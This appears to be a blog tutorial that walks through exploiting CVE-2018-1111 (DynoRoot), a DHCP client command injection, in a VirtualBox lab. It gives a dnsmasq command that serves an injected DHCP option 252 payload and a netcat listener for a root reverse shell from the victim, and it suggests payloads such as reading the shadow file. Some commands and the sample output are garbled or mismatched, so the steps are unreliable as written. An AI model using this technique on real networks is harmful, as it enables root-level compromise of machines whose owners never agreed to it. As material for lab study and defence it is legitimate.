DynoRoot Exploit PoC (CVE 2018-1111)

Today, I’ll tell you about DHCP client command injection (CVE 2018-1111) which was discovered recently by Felix Wilhelm and replicate it to make it more understandable.

About the vulnerability: DHCP packages in Red Hat Enterprise Linux 6 and 7, Fedora 28, CentOS 6 and 7, and earlier are vulnerable to a command injection flaw in the NetworkManager integration script included in the DHCP client. A malicious DHCP server, or an attacker on the local network able to spoof DHCP responses, could use this flaw to execute arbitrary commands with root privileges on systems using NetworkManager and configured to obtain network configuration using the DHCP protocol.

Exploit Discoverer: Felix Wilhelm

In this tutorial, I used Kali as attacker machine, CentOS as victim machine and VirtualBox for setting up a small network. For attacking machine, you can use any other Linux machine also since you don’t need such attacking tools. You will just need dnsmasq (a light-weighted DHCP and DNS server) for setting up your malicious DHCP server.

Below are the steps to perform #Dynoroot exploit (privilege escalation attack) [CVE-2018-1111]

1. Create one “Host-Only Ethernet Adapter” in your VirtualBox. Go to File -> Host Network Manager -> Create. Note down the IPv4 address/Mask value for future. If you wish, you can set IPv4 address according to you only.
   
   Note: DON’T enable the DHCP server in this adapter properties.

   ![Host Network Manager](image)

2. Select your attacking machine (Kali) and go to its virtual box network settings. In Network, attach Adapter 1 to the NAT for internet purpose. Now move to Adapter2 tab and attach it to Host-Only Ethernet Adapter, we just created in above step. Save the settings and boot your Kali.
3. Open the terminal and run command “ifconfig”. It will show you 2 interfaces – eth0 and eth1. eth0 is your NAT network which will has IP-10.0.2.15 and eth1 has no IP.

4. Assign IP to your eth1 interface – “ifconfig eth1 192.168.51.1 & ifconfig eth1 up”. I choose 192.168.51.1 as per my Host-Only adapter settings. You can choose accordingly.

```
root@kali:~# ifconfig eth1 192.168.51.1 & ifconfig eth1 up
```

5. Now, attach the “Host-Only Ethernet Adapter” we created in step1 to your victim machine under virtual box network settings. Start the machine.

6. Login with your normal user account and check the machine IP. I am sure it will not have any IP yet.
7. Run the command – "nmcli con show". It will display the connection details. First entry will be of "Wired connection 1" interface. It is the same interface where set up our malicious DHCP server.

```
Wizard0:~ # nmcli con show

90: Wired connection 1
   "Wired connection 1"
   Type: ethernet
   Device: eth0
   Flags: <UP> scan-route
   Mtu: 1500
   Rx packets: 116 bytes: 10538 (10.2 Kib)
   Rx errors: 0 dropped: 0 overruns: 0 frame: 0
   Tx packets: 110 bytes: 10322 (10.0 Kib)
   Tx errors: 0 dropped: 0 overruns: 0 carrier: 0 collisions: 0
```

8. Now, we need to start our DHCP server which will serve malicious response. For that, run the following command. If you are using Kali, dnsmasq is pre-installed else you can install using apt-get.

```
dnsmasq --interface=eth1 --bind-interfaces --except-interface=lo --dhcp-range=192.168.51.21,192.168.51.25,1h --conf-file=/dev/null --dhcp-opton=6,192.168.51.1 --dhcp-opton=3,192.168.51.1 --dhcp-opton="252,x'&<ppayload> #"
```

where,  dhcp-opton-3 => gateway IP/ DHCP server IP which we have set in step 4.

| Dhcp-opton-6 => DNS IP, which can be same as gateway IP (not mandatory) |
| Dhcp-range => simply subnet range (1h, for 1 hour only) |
| Dhcp option => "252,x'&<payload> #" |

** Start the listener on port 5555 – "nc -lvp 5555". **

Here, I already installed the `nc` on my victim machine. You can choose other payloads as well like reading shadow file/ssh config.
9. Now, we have to send the normal request to our DHCP server to get the IP for victim machine.

```
nmcli con up "Wired Connection 1" && ifconfig
```

Now, your machine has got the IP.

10. Go to your Kali machine and check you have also got the reverse shell from the victim machine with root privileges.
That's all for this tutorial. I hope you like it and learnt something new. I'll soon comeback with new attacks and share it with you.